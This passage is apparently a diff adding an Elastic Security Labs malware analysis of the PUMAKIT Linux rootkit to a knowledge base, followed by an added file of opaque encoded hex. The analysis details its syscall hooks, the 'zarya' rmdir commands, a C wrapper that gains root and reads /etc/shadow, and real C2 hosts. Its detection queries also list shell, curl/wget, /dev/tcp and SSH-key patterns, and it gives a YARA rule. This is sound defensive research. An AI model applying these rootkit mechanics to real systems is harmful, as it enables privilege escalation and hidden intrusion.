/dev/fd/4](/assets/images/declawing-pumakit/image6.png "Execution flow of the bash script and rootkit loader starting from /dev/fd/4") + +This script contains logic for inspecting and processing files based on their compression formats. + +![The Bash script that is used to decompress the kernel image](/assets/images/declawing-pumakit/image9.png "The Bash script that is used to decompress the kernel image") + +Here's what it does: + +* The function `c()` inspects files using the `file` command to verify whether they are ELF binaries. If not, the function returns an error. +* The function `d()` attempts to decompress a given file using various utilities like `gunzip`, `unxz`, `bunzip2`, and others based on signatures of supported compression formats. It employs `grep` and `tail` to locate and extract specific compressed segments. +* The script attempts to locate and process a file (`$i`) into `/tmp/vmlinux`. + +After the execution of `/tmp/script.sh`, the file `/boot/vmlinuz-5.10.0-33-cloud-amd64` is used as input. The `tr` command is employed to locate gzip's magic numbers (`\037\213\010`). Subsequently, a portion of the file starting at the byte offset `+10957311` is extracted using `tail`, decompressed with `gunzip`, and saved as `/tmp/vmlinux`. The resulting file is then verified to determine if it is a valid ELF binary. + +![The process of determining that the decompressing has succeeded ](/assets/images/declawing-pumakit/image4.png "The process of determining that the decompressing has succeeded ") + +This sequence is repeated multiple times until all entries within the script have been passed into function `d()`. + +``` +d '\037\213\010' xy gunzip +d '\3757zXZ\000' abcde unxz +d 'BZh' xy bunzip2 +d '\135\0\0\0' xxx unlzma +d '\211\114\132' xy 'lzop -d' +d '\002!L\030' xxx 'lz4 -d' +d '(\265/\375' xxx unzstd +``` + +This process is shown below. + +![](/assets/images/declawing-pumakit/image7.png) + +After running through all of the items in the script, the `/tmp/vmlinux` and `/tmp/script.sh` files are deleted. + +![Deleting the script and unpacked kernel](/assets/images/declawing-pumakit/image3.png "Deleting the script and unpacked kernel") + +The script's primary purpose is to verify whether specific conditions are satisfied and, if they are, to set up the environment for deploying the rootkit using a kernel object file. + +![Rootkit loader looking for symbol offsets](/assets/images/declawing-pumakit/image5.png "Rootkit loader looking for symbol offsets") + +As shown in the image above, the loader looks for `__ksymtab` and `__kcrctab` symbols in the Linux Kernel file and stores the offsets. + +Several strings show that the rootkit developers refer to their rootkit as “PUMA" within the dropper. Based on the conditions, the program outputs messages such as: + +``` python +PUMA %s +[+] PUMA is compatible +[+] PUMA already loaded +``` + +Furthermore, the kernel object file contains a section named `.puma-config`, reinforcing the association with the rootkit. + +### Stage 3: LKM rootkit overview + +In this section, we take a closer look at the kernel module to understand its underlying functionality. Specifically, we will examine its symbol lookup features, hooking mechanism, and the key syscalls it modifies to achieve its goals. + +#### LKM rootkit overview: symbol lookup and hooking mechanism + +The LKM rootkit's ability to manipulate system behavior begins with its use of the syscall table and its reliance on kallsyms_lookup_name() for symbol resolution. Unlike modern rootkits targeting kernel versions 5.7 and above, the rootkit does not use `kprobes`, indicating it is designed for older kernels. + +![Resolving a pointer to the sys_call_table using kallsyms_lookup_name](/assets/images/declawing-pumakit/image1.png "Resolving a pointer to the sys_call_table using kallsyms_lookup_name") + +This choice is significant because, prior to kernel version 5.7, `kallsyms_lookup_name()` was exported and could be easily leveraged by modules, even those without proper licensing. + +In February 2020, kernel developers debated the unexporting of `kallsyms_lookup_name()` to prevent misuse by unauthorized or malicious modules. A common tactic involved adding a fake `MODULE_LICENSE("GPL")` declaration to circumvent licensing checks, allowing these modules to access non-exported kernel functions. The LKM rootkitdemonstrates this behavior, as evident from its strings: + +``` +name=audit +license=GPL +``` + +This fraudulent use of the GPL license ensures the rootkit can call `kallsyms_lookup_name()` to resolve function addresses and manipulate kernel internals. + +In addition to its symbol resolution strategy, the kernel module employs the `ftrace()` hooking mechanism to establish its hooks. By leveraging `ftrace()`, the rootkit effectively intercepts syscalls and replaces their handlers with custom hooks. + +![The LKM rootkit leverages ftrace for hooking](/assets/images/declawing-pumakit/image11.png "The LKM rootkit leverages ftrace for hooking") + +Evidence of this is e.g. the usage of `unregister_ftrace_function` and `ftrace_set_filter_ip` as shown in the snippet of code above. + +#### LKM rootkit overview: hooked syscalls overview + +We analyzed the rootkit's syscall hooking mechanism to understand the scope of PUMA's interference with system functionality. The following table summarizes the syscalls hooked by the rootkit, the corresponding hooked functions, and their potential purposes. + +By viewing the `cleanup_module()` function, we can see the `ftrace()` hooking mechanism being reverted by using the `unregister_ftrace_function()` function. This guarantees that the callback is no longer being called. Afterward, all syscalls are returned to point to the original syscall rather than the hooked syscall. This gives us a clean overview of all syscalls that were hooked. + +![Cleanup of all the hooked syscalls](/assets/images/declawing-pumakit/image15.png "Cleanup of all the hooked syscalls") + +In the following sections, we will take a closer look at a few of the hooked syscalls. + +#### LKM rootkit overview: rmdir_hook() + +The `rmdir_hook()` in the kernel module plays a critical role in the rootkit’s functionality, enabling it to manipulate directory removal operations for concealment and control. This hook is not limited to merely intercepting `rmdir()` syscalls but extends its functionality to enforce privilege escalation and retrieve configuration details stored within specific directories. + +![Start of the rmdir hook code](/assets/images/declawing-pumakit/image2.png "Start of the rmdir hook code") + +This hook has several checks in place. The hook expects the first characters to the `rmdir()` syscall to be `zarya`. If this condition is met, the hooked function checks the 6th character, which is the command that gets executed. Finally, the 8th character is checked, which can contain process arguments for the command that is being executed. The structure looks like: `zarya[char][command][char][argument]`. Any special character (or none) can be placed between `zarya` and the commands and arguments. + +As of the publication date, we have identified the following commands: + +| Command | Purpose | +|---------------|-------------------------| +| `zarya.c.0` | Retrieve the config | +| `zarya.t.0` | Test the working | +| `zarya.k.` | Hide a PID | +| `zarya.v.0` | Get the running version | + +Upon initialization of the rootkit, the `rmdir()` syscall hook is used to check whether the rootkit was loaded successfully. It does this by calling the `t` command. + +``` bash +ubuntu-rk:~$ rmdir test +rmdir: failed to remove 'test': No such file or directory +ubuntu-rk:~$ rmdir zarya.t +ubuntu-rk:~$ +``` + +When using the `rmdir` command on a non-existent directory, an error message “No such file or directory” is returned. When using `rmdir` on `zarya.t`, no output is returned, indicating successful loading of the kernel module. + +A second command is `v`, which is used to get the version of the running rootkit. + +``` bash +ubuntu-rk:~$ rmdir zarya.v +rmdir: failed to remove '240513': No such file or directory +``` + +Instead of `zarya.v` being added to the “failed to remove ‘`directory`’” error, the rootkit version `240513` is returned. + +A third command is `c`, which prints the configuration of the rootkit. + +``` bash +ubuntu-rk:~/testing$ ./dump_config "zarya.c" +rmdir: failed to remove '': No such file or directory +Buffer contents (hex dump): +7ffe9ae3a270 00 01 00 00 10 70 69 6e 67 5f 69 6e 74 65 72 76 .....ping_interv +7ffe9ae3a280 61 6c 5f 73 00 2c 01 00 00 10 73 65 73 73 69 6f al_s.,....sessio +7ffe9ae3a290 6e 5f 74 69 6d 65 6f 75 74 5f 73 00 04 00 00 00 n_timeout_s..... +7ffe9ae3a2a0 10 63 32 5f 74 69 6d 65 6f 75 74 5f 73 00 c0 a8 .c2_timeout_s... +7ffe9ae3a2b0 00 00 02 74 61 67 00 08 00 00 00 67 65 6e 65 72 ...tag.....gener +7ffe9ae3a2c0 69 63 00 02 73 5f 61 30 00 15 00 00 00 72 68 65 ic..s_a0.....rhe +7ffe9ae3a2d0 6c 2e 6f 70 73 65 63 75 72 69 74 79 31 2e 61 72 l.opsecurity1.ar +7ffe9ae3a2e0 74 00 02 73 5f 70 30 00 05 00 00 00 38 34 34 33 t..s_p0.....8443 +7ffe9ae3a2f0 00 02 73 5f 63 30 00 04 00 00 00 74 6c 73 00 02 ..s_c0.....tls.. +7ffe9ae3a300 73 5f 61 31 00 14 00 00 00 73 65 63 2e 6f 70 73 s_a1.....sec.ops +7ffe9ae3a310 65 63 75 72 69 74 79 31 2e 61 72 74 00 02 73 5f ecurity1.art..s_ +7ffe9ae3a320 70 31 00 05 00 00 00 38 34 34 33 00 02 73 5f 63 p1.....8443..s_c +7ffe9ae3a330 31 00 04 00 00 00 74 6c 73 00 02 73 5f 61 32 00 1.....tls..s_a2. +7ffe9ae3a340 0e 00 00 00 38 39 2e 32 33 2e 31 31 33 2e 32 30 ....89.23.113.20 +7ffe9ae3a350 34 00 02 73 5f 70 32 00 05 00 00 00 38 34 34 33 4..s_p2.....8443 +7ffe9ae3a360 00 02 73 5f 63 32 00 04 00 00 00 74 6c 73 00 00 ..s_c2.....tls.. +``` + +Because the payload starts with null bytes, no output is returned when running `zarya.c` through a `rmdir` shell command. By writing a small C program that wraps the syscall and prints the hex/ASCII representation, we can see the configuration of the rootkit being returned. + +Instead of using the `kill()` syscall to get root privileges (like most rootkits do), the rootkit leverages the `rmdir()` syscall for this purpose as well. The rootkit uses the `prepare_creds` function to modify the credential-related IDs to 0 (root), and calls `commit_creds` on this modified structure to obtain root privileges within its current process. + +![Privilege escalation using prepare_creds and commit_creds](/assets/images/declawing-pumakit/image8.png "Privilege escalation using prepare_creds and commit_creds") + +To trigger this function, we need to set the 6th character to `0`. The caveat for this hook is that it gives the caller process root privileges but does not maintain them. When executing `zarya.0`, nothing happens. However, when calling this hook with a C program and printing the current process’ privileges, we do get a result. A snippet of the wrapper code that is used is displayed below: + +``` c +[...] +// Print the current PID, SID, and GID +pid_t pid = getpid(); +pid_t sid = getsid(0); // Passing 0 gets the SID of the calling process +gid_t gid = getgid(); + +printf("Current PID: %d, SID: %d, GID: %d\n", pid, sid, gid); + +// Print all credential-related IDs +uid_t ruid = getuid(); // Real user ID +uid_t euid = geteuid(); // Effective user ID +gid_t rgid = getgid(); // Real group ID +gid_t egid = getegid(); // Effective group ID +uid_t fsuid = setfsuid(-1); // Filesystem user ID +gid_t fsgid = setfsgid(-1); // Filesystem group ID + +printf("Credentials: UID=%d, EUID=%d, GID=%d, EGID=%d, FSUID=%d, FSGID=%d\n", + ruid, euid, rgid, egid, fsuid, fsgid); + +[...] +``` + +Executing the function, we can the following output: + +``` bash +ubuntu-rk:~/testing$ whoami;id +ruben +uid=1000(ruben) gid=1000(ruben) groups=1000(ruben),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd) + +ubuntu-rk:~/testing$ ./rmdir zarya.0 +Received data: +zarya.0 +Current PID: 41838, SID: 35117, GID: 0 +Credentials: UID=0, EUID=0, GID=0, EGID=0, FSUID=0, FSGID=0 +``` + +To leverage this hook, we wrote a small C wrapper script that executes the `rmdir zarya.0` command and checks whether it can now access the `/etc/shadow` file. + +``` c +#include +#include +#include +#include +#include + +int main() { + const char *directory = "zarya.0"; + + // Attempt to remove the directory + if (syscall(SYS_rmdir, directory) == -1) { + fprintf(stderr, "rmdir: failed to remove '%s': %s\n", directory, strerror(errno)); + } else { + printf("rmdir: successfully removed '%s'\n", directory); + } + + // Execute the `id` command + printf("\n--- Running 'id' command ---\n"); + if (system("id") == -1) { + perror("Failed to execute 'id'"); + return 1; + } + + // Display the contents of /etc/shadow + printf("\n--- Displaying '/etc/shadow' ---\n"); + if (system("cat /etc/shadow") == -1) { + perror("Failed to execute 'cat /etc/shadow'"); + return 1; + } + + return 0; +} +``` + +With success. + +``` bash +ubuntu-rk:~/testing$ ./get_root +rmdir: successfully removed 'zarya.0' + +--- Running 'id' command --- +uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd),1000(ruben) + +--- Displaying '/etc/shadow' --- +root:*:19430:0:99999:7::: +[...] +``` + +Although there are more commands available in the `rmdir()` function, we will, for now, move on to the next and may add them to a future publication. + +#### LKM rootkit overview: getdents() and getdents64() hooks + +The `getdents_hook()` and `getdents64_hook()` in the rootkit are responsible for manipulating directory listing syscalls to hide files and directories from users. + +The getdents() and getdents64() syscalls are used to read directory entries. The rootkit hooks these functions to filter out any entries that match specific criteria. Specifically, files and directories with the prefix zov_ are hidden from any user attempting to list the contents of a directory. + +For example: + +``` bash +ubuntu-rk:~/getdents_hook$ mkdir zov_hidden_dir + +ubuntu-rk:~/getdents_hook$ ls -lah +total 8.0K +drwxrwxr-x 3 ruben ruben 4.0K Dec 9 11:11 . +drwxr-xr-x 11 ruben ruben 4.0K Dec 9 11:11 .. + +ubuntu-rk:~/getdents_hook$ echo "this file is now hidden" > zov_hidden_dir/zov_hidden_file + +ubuntu-rk:~/getdents_hook$ ls -lah zov_hidden_dir/ +total 8.0K +drwxrwxr-x 2 ruben ruben 4.0K Dec 9 11:11 . +drwxrwxr-x 3 ruben ruben 4.0K Dec 9 11:11 .. + +ubuntu-rk:~/getdents_hook$ cat zov_hidden_dir/zov_hidden_file +this file is now hidden +``` + +Here, the file `zov_hidden` can be accessed directly using its entire path. However, when running the `ls` command, it does not appear in the directory listing. + +### Stage 4: Kitsune SO overview + +While digging deeper into the rootkit, another ELF file was identified within the kernel object file. After extracting this binary, we discovered this is the `/lib64/libs.so` file. Upon examination, we encountered several references to strings such as `Kitsune PID %ld`. This suggests that the SO is referred to as Kitsune by the developers. Kitsune may be responsible for certain behaviors observed in the rootkit. These references align with the broader context of how the rootkit manipulates user-space interactions via `LD_PRELOAD`. + +This SO file plays a role in achieving the persistence and stealth mechanisms central to this rootkit, and its integration within the attack chain demonstrates the sophistication of its design. We will now showcase how to detect and/or prevent each part of the attack chain. + +## PUMAKIT execution chain detection & prevention + +This section will display different EQL/KQL rules and YARA signatures that can prevent and detect different parts of the PUMAKIT execution chain. + +### Stage 1: Cron + +Upon execution of the dropper, an uncommon event is saved in syslog. The event states that a process has started with an executable stack. This is uncommon and interesting to watch: + +``` sysmon +[ 687.108154] process '/home/ruben_groenewoud/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f' started with executable stack +``` + +We can search for this through the following query: + +``` +host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message: "started with executable stack" +``` + +This message is stored in `/var/log/messages` or `/var/log/syslog`. We can detect this by reading syslog through [Filebeat](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-overview.html) or the Elastic agent [system integration](https://www.elastic.co/guide/en/integrations/current/system.html). + +### Stage 2: Memory-resident executables + +We can see an unusual file descriptor execution right away. This can be detected through the following EQL query: + +``` sql +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.executable like "/dev/fd/*" and not process.parent.command_line == "runc init" +``` + +This file descriptor will remain the parent of the dropper until the process ends, resulting in the execution of several files through this parent process as well: + +``` sql +file where host.os.type == "linux" and event.type == "creation" and process.executable like "/dev/fd/*" and file.path like ( + "/boot/*", "/dev/shm/*", "/etc/cron.*/*", "/etc/init.d/*", "/var/run/*" + "/etc/update-motd.d/*", "/tmp/*", "/var/log/*", "/var/tmp/*" +) +``` + +After `/tmp/script.sh` is dropped (detected through the queries above), we can detect its execution by querying for file attribute discovery and unarchiving activity: + +``` sql +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +(process.parent.args like "/boot/*" or process.args like "/boot/*") and ( + (process.name in ("file", "unlzma", "gunzip", "unxz", "bunzip2", "unzstd", "unzip", "tar")) or + (process.name == "grep" and process.args == "ELF") or + (process.name in ("lzop", "lz4") and process.args in ("-d", "--decode")) +) and +not process.parent.name == "mkinitramfs" +``` + +The script continues to seek the memory of the Linux kernel image through the `tail` command. This can be detected, along with other memory-seeking tools, through the following query: + +``` sql +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +(process.parent.args like "/boot/*" or process.args like "/boot/*") and ( + (process.name == "tail" and (process.args like "-c*" or process.args == "--bytes")) or + (process.name == "cmp" and process.args == "-i") or + (process.name in ("hexdump", "xxd") and process.args == "-s") or + (process.name == "dd" and process.args : ("skip*", "seek*")) +) +``` + +Once `/tmp/script.sh` is done executing, `/memfd:tgt (deleted)` and `/memfd:wpn (deleted)` are created. The `tgt` executable, which is the benign Cron executable, creates a `/run/crond.pid` file. This is nothing malicious but an artifact that can be detected through a simple query. + +``` sql +file where host.os.type == "linux" and event.type == "creation" and file.extension in ("lock", "pid") and +file.path like ("/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/var/lock/*", "/dev/shm/*") and process.executable != null +``` + +The `wpn` executable will, if all conditions are met, load the LKMrootkit. + +### Stage 3: Rootkit kernel module + +The loading of kernel module is detectable through Auditd Manager by applying the following configuration: + +``` +-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules +-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules +``` + +And using the following query: + +``` sql +driver where host.os.type == "linux" and event.action == "loaded-kernel-module" and auditd.data.syscall in ("init_module", "finit_module") +``` + +For more information on leveraging Auditd with Elastic Security to enhance your Linux detection engineering experience, check out our [Linux detection engineering with Auditd](https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd) research published on the Elastic Security Labs site. + +Upon initialization, the LKM taints the kernel, as it is not signed. + +``` +audit: module verification failed: signature and/or required key missing - tainting kernel +``` + +We can detect this behavior through the following KQL query: + +``` +host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message:"module verification failed: signature and/or required key missing - tainting kernel" +``` + +Also, the LKM has faulty code, causing it to segfault several times. For example: + +``` +Dec 9 13:26:10 ubuntu-rk kernel: [14350.711419] cat[112653]: segfault at 8c ip 00007f70d596b63c sp 00007fff9be81360 error 4 +Dec 9 13:26:10 ubuntu-rk kernel: [14350.711422] Code: 83 c4 20 48 89 d0 5b 5d 41 5c c3 48 8d 42 01 48 89 43 08 0f b6 02 41 88 44 2c ff eb c1 8b 7f 78 e9 25 5c 00 00 c3 41 54 55 53 <8b> 87 8c 00 00 00 48 89 fb 85 c0 79 1b e8 d7 00 00 00 48 89 df 89 +``` + +This can be detected through a simple KQL query that queries for segfaults in the `kern.log` file. + +``` +host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message:segfault +``` + +Once the kernel module is loaded, we can see traces of command execution through the `kthreadd` process. The rootkit creates new kernel threads to execute specific commands. For example, the rootkit executes the following commands at short intervals: + +``` bash +cat /dev/null +truncate -s 0 /usr/share/zov_f/zov_latest +``` + +We can detect these and more potentially suspicious commands through a query such as the following: + +``` sql +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "kthreadd" and ( + process.executable like ("/tmp/*", "/var/tmp/*", "/dev/shm/*", "/var/www/*", "/bin/*", "/usr/bin/*", "/usr/local/bin/*") or + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "whoami", "curl", "wget", "id", "nohup", "setsid") or + process.command_line like ( + "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*", + "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", "*base32 *", "*base16 *", "*/etc/profile*", + "*/dev/shm/*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*autostart*", + "*xxd *", "*/etc/shadow*" + ) +) and not process.name == "dpkg" +``` + +We can also detect the rootkits’ method of elevating privileges by analyzing the `rmdir` command for unusual UID/GID changes. + +``` sql +process where host.os.type == "linux" and event.type == "change" and event.action in ("uid_change", "guid_change") and process.name == "rmdir" +``` + +Several other behavioral rules may also trigger, depending on the execution chain. + +## One YARA signature to rule them all + +Elastic Security has created a [YARA signature](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Rootkit_Pumakit.yar) to identify PUMAKIT (the dropper (`cron`), the rootkit loader(`/memfd:wpn`), the LKM rootkit and the Kitsune shared object files. The signature is displayed below: + +``` YARA +rule Linux_Trojan_Pumakit { + meta: + author = "Elastic Security" + creation_date = "2024-12-09" + last_modified = "2024-12-09" + os = "Linux" + arch = "x86, arm64" + threat_name = "Linux.Trojan.Pumakit" + + strings: + $str1 = "PUMA %s" + $str2 = "Kitsune PID %ld" + $str3 = "/usr/share/zov_f" + $str4 = "zarya" + $str5 = ".puma-config" + $str6 = "ping_interval_s" + $str7 = "session_timeout_s" + $str8 = "c2_timeout_s" + $str9 = "LD_PRELOAD=/lib64/libs.so" + $str10 = "kit_so_len" + $str11 = "opsecurity1.art" + $str12 = "89.23.113.204" + + condition: + 4 of them +} +``` + +## Observations + +The following observables were discussed in this research. + +| Observable | Type | Name | Reference | +|------------------------------------------------------------------|-------------|----------------------|---------------------------------| +| `30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f` | SHA256 | `cron` | PUMAKIT dropper | +| `cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe` | SHA256 | `/memfd:wpn (deleted`) | PUMAKIT loader | +| `934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136` | SHA256 | `/memfd:tgt (deleted)` | Cron binary | +| `8ef63f9333104ab293eef5f34701669322f1c07c0e44973d688be39c94986e27` | SHA256 | `libs.so` | Kitsune shared object reference | +| `8ad422f5f3d0409747ab1ac6a0919b1fa8d83c3da43564a685ae4044d0a0ea03` | SHA256 | `some2.elf` | PUMAKIT variant | +| `bbf0fd636195d51fb5f21596d406b92f9e3d05cd85f7cd663221d7d3da8af804` | SHA256 | `some1.so` | Kitsune shared object variant | +| `bc9193c2a8ee47801f5f44beae51ab37a652fda02cd32d01f8e88bb793172491` | SHA256 | `puma.ko` | LKM rootkit | +| `1aab475fb8ad4a7f94a7aa2b17c769d6ae04b977d984c4e842a61fb12ea99f58` | SHA256 | `kitsune.so` | Kitsune | +| `sec.opsecurity1[.]art` | domain-name | | PUMAKIT C2 Server | +| `rhel.opsecurity1[.]art` | domain-name | | PUMAKIT C2 Server | +| `89.23.113[.]204` | ipv4-addr | | PUMAKIT C2 Server | + +## Concluding Statement + +PUMAKIT is a complex and stealthy threat that uses advanced techniques like syscall hooking, memory-resident execution, and unique privilege escalation methods. Its multi-architectural design highlights the growing sophistication of malware targeting Linux systems. + +Elastic Security Labs will continue to analyze PUMAKIT, monitor its behavior, and track any updates or new variants. By refining detection methods and sharing actionable insights, we aim to keep defenders one step ahead. diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/deobfuscating_alcatraz.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/deobfuscating_alcatraz.encoded.md new file mode 100644 index 0000000000000..617fb25a19550 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/deobfuscating_alcatraz.encoded.md @@ -0,0 +1 @@ +c0ccdca6738b41099eb4e330926fb61aa88ea77568cb55d2090f5e3f6c9fa3fa48e1d6daffb7e5395faa3367d7219c2f19f5960d24d7d2f26a72db29f8b62baa88848fe3021110d3ae6969a87817cb3b48f8964865b9b92af29f23599bf7df99998b47a93509bd1b3d27d152cf87af87d9582d4aa20cb792e04356430c62c048786f872ac12edeb1f7ed2f4217790407bef5968c7745dc3ade5865d30bfea228268b5568e9c3a88a0a4aace3dffc58ca3283e19398553082319b1338af4c8b73731cc7a653ae0050950b2f7a01261bc11923ba6a7dd0f0ec93a3f69b2619e4be2a873a713df9831195319cfaa584395c20d2a8d9e617dedef8d355d5f0c2fb8da7878f801c2e43b6ebad08237ef4b80f7878cb505470935f141dee27921c7bc0f5f05d66a2130fe0a6f7b1f0822d56ab8bbae79270cf6e064aff3402ca03b04ad8caaa5de7d8e6f447c3c38cbbf5b5d77afc739536835fe998e89c54630752098338c64e48daa3d8f13f1cde3b3f20d2763086ffc5ac2c06496bd4906f0e0104523d17832d311f9a7261fa0f5fc1c37ca2a250160582c543312c46bb0c809b24b7111a4723c4a532bcd099bc036c8cb426099e0e1b0200bb8cdfe1ccb5587390194f1c0cd2c2551168bcb49d57666f90fd89536cc35741edbd1f5f7b1c5011f0d79b24dd2b07b6b7af7ef4777c89d9c69bf74806971692a51f1053d625dfb3e08945cb523a3d9924eb2247e3c681a1aacc7e427f64a4e3913844a64f6128a6d323af577c8baa2e14cec2a75d8c25c4b70877c7b4f8b1bf0fd4e7008b053f226a611be84aba3817b5ce6d97feaad1cbf6dfe5bd1feb0813a2e15c8d713ac76215d1fe665021e282541e1d7efb8f4c0a7f0035899abd40d9b7da4d12300768a50bacc58390033ce404c21771fc3a8f40baa8177d696cd8886d713df89d81d0da5e2f2c4ba223a70abceec065e65fac4402b28ef9233e453d6dea2fa7fc9b56f7785c8ad594ab89c0d7d176e9d73f68ae930b003afb6264043f414b8abe551b1c289d28d90b2ebd12f3c3ddac4078c40dfb2d7cf7223691f52954f6219361d30aef18a5b1229441b8db428c07c4cc464ad0d95455d235d445bcfa4fda53c46625f1917e753cf63a4f964d2c34816298a24029a9b21419dd8f7cc34a2cd5960133071b83e39efafa748639cd6a644de351899cb454aa7751978aaf4bea5f339a99b92016bc189264bc0342ab5f7a4a3284e411ab93af2bb5d0f929cf4bc357928b44102e250bcc3158f2090a8f8f2e2e0c229c15bc4552d37f6c4b5c76444e9b6d709191b779879dde577b078d121a2c37230c4e430ad1b0b83515a8ea105f1b80cd6c39ffd63bb5ffd37a8102ec5d7ff2851f6e3ba455f8b9e343a274d7cd8f392d04a6730ccc663a01d42ba67a0ee4b2ce50f50a57aae7aeed21f4c3f14b042ac3147a1af1bc3385775376a5e27c11c63cfea6a7867d5f328141680be81c7d1b62150644d95f9e5b65892a8e57329ca1c09e98269731a483ac3c71e2609306f6aa75f17b4e30b3eec473f8bfc84428f9997e285c962d51cc8bd580e72790b95f262804d4ceca023dcbe90c3ba53032d7fe2f2e05f2a907309b69370b21b5d1c32d390b3d3f3228a892c296e5a73dfec8f39a071ded73896883fa1cfa203db9e5d7bd174639a3cae03d23fe971e4f20092ed1e6c22a7cfb67706e076ef58f43084d49d1e265f22da0497cbf96ac8a28c06a6842f8fc180c4d03a791082f959fae9fdfcb0a815b7536f9234f51b39b4937d8f25b31e88cc0ea4ed9bbe97ad03f452d7ed79128ef42468ffbed360a704bfa98f472cf5e3ed9c78866204f51d96ee954a03d5b1e75187b8ee1ab6d7ca33e183303b3f8ee44abad475baf1f5354fd12d83aedd4ac7fc1fca50882ead1ac2cfc3acba427b719e2e7e56d07c6e0bde945bacbcc64d84f5565cca8805cde094deab1ec5c503540a3011fe1d2d47bfc894b4c28693dd45a92c7109d93636215592db7e7512fb58120c37f1ca39a2b6c2d40c3864e213ecbcaf94aba139b94201cb25482b9052f7324a41b1a94add0b59212b1fe730dce41d9df3cfb0a3ca19a743f46f9ed68685f931bbc91836cbf3855d0558bfe08f2d4b0f9e1866197f9070a33b5966d9adab16851623267a224be6b48e934f8b9495ead56bcd0f6d4a9d897cb69e693b70ddb7062d87eb5d99752aa63e0bb5cb70265469884436d9cba7c1ceb402b4bd524d4bb6debaf06c14ca0f19116ebdd26e0b5519583604916e6186a777d8f7a306bd6f9567ed31a07bcbd80a9625224d3b3f02fe97501ea5af18cc63482f68fbc46c028ae6c62dabc6e7176ecd150a4e96aa7f4731417ec71186a3ba676ebd84c3f6d964965e5e21ad4cd0094d7930e710623db47a8ee060a1950b4c1c5b2d30321409fe8f7e48163bd6516116b10291841e1064135f760f1909f015af8a60a96e5d17bd2cd9b32e791c267d03efb4cd48b5e494433da04bffecb43bbff4470a060a7c7df68abd934cd442cceecfbaf7d63ff32dc42404a32eeca2ff8c0ee5b25f2ec91bd5a76d7e4cb550619e69b87f04a1aad7bea5dc84a0169d7224c8e37a8018c209def2a0812a4847dde5cce374a534550f54f3b0a714618d14c341625a0c696d48f95afb2d0f7bdcf561f4cdef21d8991aca36db6b006c4c0cec6bf09279de0e4dcdc938ab9ab338b317e34e2d2e04a34a7ba9db29dc41a97f453bc4d5386488d63f54a82d79ff10353afd6b070e04cdedeea9f5064f0f99a92859ad41b55aa9c53f7a7d1a5b974d1f247023849e59e49be3a6a9f8207219c230558a21fd1e11205f1b1812ec91a7a8a089cb80fe068702331def75cebf6ae9b8db03c2e00c4ece69b24469dad608bf29a8b40e92369f57eb8df4543edc449daabe7da6e174e900b321868afd11dba06c4c7a88dcf408770fba6b3441fe1f72b8891d9c223d42d4148c53fac4e4f38a3316760e1e9a16207382560f4b661429e760a8b733586c2b8382dcf444cd105ad30988d341c04a802bb754da4e9394c180ee60bde337eb4e2233d239c0ea10dbf9a9eb48224c896c877a2b6352803fb102e8edc36afb1024c90219a78ab9c92d8c530f91210195a885fe811f92c4ac88270074ed6f750a06007d7e37684e5172bb8733c6a7774125b498c786dcfd10044c6f20db083e50c758ff57afcd80ea7feb14ed31532bd6c51fcb2f7d4dc2e13c33248dac5f8c7493a2bf667eea9783c0510523b8e0151bdeac201294e4e462567e3042c1a32c16b95aeac3ca1dd0c129b6c1cf64299f34d0935cbe2e3ebffa9ba3e3b1573b46a5e5bd58f39885ee095efe4ddff5292ab2ea4f92601ecfeba5e818e031f746193e5a797772465cff7557a35b180b24e05ec15cc84233413c20f8d30b67af1cfe1c4f30c9d75b886314a049518eaf7283054663fe04961e67e94447b5cc6e6e2889776570e1a916d425a13d3ab4a1f60086aa74931c530f8fa33523f09a4c5fb56734a61333d8afa936f908090b41cb70362ad38695f138a3045091bc882c243556de6b9fb3755b21385c8e8769436cec3a30136e82df928bbc15777f9a6eda83b85d76eddd8fe6494d624c725c25b0644590dfc0e55987707d80d239ea4ea982f85a5acdc2791304df52d70c0ce0d5bf73ed5816b8d9c88a667b9278c12ba34474962d7d43c45b76e591cef81de742621d2bab09af9ae0c4054ab881c651d7e82dd7dc8185cffbe16b9b7af3e1445ccca8fb17552b7fd9e3117d791d5dad74740f10d7bf9729e17ade579f95bc4a725b80da3159a8e6e611c7ce1cf5383de9657d929be676a2b99780e12206a781f6e5ceb93e272c3492eeabf83a29e888954fac61c605eea765a90710a8b2a89dd8ceaabd15fc06f0fc122631c673c9e07ebcced8fda0094965472e0075c33a0de5ab5118c4bf8e823b7e2e7976f0eba1652c83eea7c36521f19d03f1eeff1988677d3fb199ae4bdd8979f147e6105f068ab2a91c2f62c76e842183833df4e1584e06e9c3e645b07aa59dd9d47626ad166472000287ef7e4cbbbd22a97c59028fd0fcd449d0dfedd49fa8109e695a0f1752a148de7c2a0c456e8d9ded861dabc536726760f2d2ccac539ed435d3d31fb9d0b03398877cfcae433c410e3be556b1bd0765af38b6c07544